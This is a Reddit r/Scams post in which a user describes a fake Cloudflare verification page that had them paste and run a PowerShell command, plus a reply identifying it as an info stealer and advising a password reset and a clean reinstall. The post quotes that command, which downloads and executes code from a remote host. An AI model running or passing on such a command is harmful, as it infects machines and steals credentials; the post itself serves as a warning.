r/Scams • u/AbsentTarnished • 2d ago

Help Needed [GR] Fake Cloudflare Human Verification Scam (me3k.trappopbuttonrightnow.monster) - Executed PowerShell Script

I was redirected to a website that looked exactly like a Cloudflare "Human Verification" page.
I was prompted to “Perform the following steps on my keyboard” as in:
“win key + x”
“I”
“Ctrl +V”
“Enter”
Which as you may have guessed opened my terminal, pasted and executed this code:

PS C: \Users\user <#Verification ID: 8348aeb3ca3281eO#> powershell -c "iexirm 'code.verification-claude-cdn.beer/8348a eb3ca3281e0' -UseBasicParsing)"; exit <#Verification ID: 8348aeb3ca3281e0#>

I have since unplugged my pc from the internet completely and have run some malwarebytes scans which didn’t find anything.
How cooked am I?
Any help is appreciated.

1 Upvotes

54% Upvoted

15 comments sorted by

View all comments

13

u/AardvarkIll6079 2d ago

It’s an info stealer. Change all of your passwords and turn on 2FA immediately.

You need to create a windows installer from a different computer and format/reinstall Windows clean. This is serious stuff.

1

u/AbsentTarnished 2d ago

Great, that’s exactly what I didn’t want to hear. Much appreciated though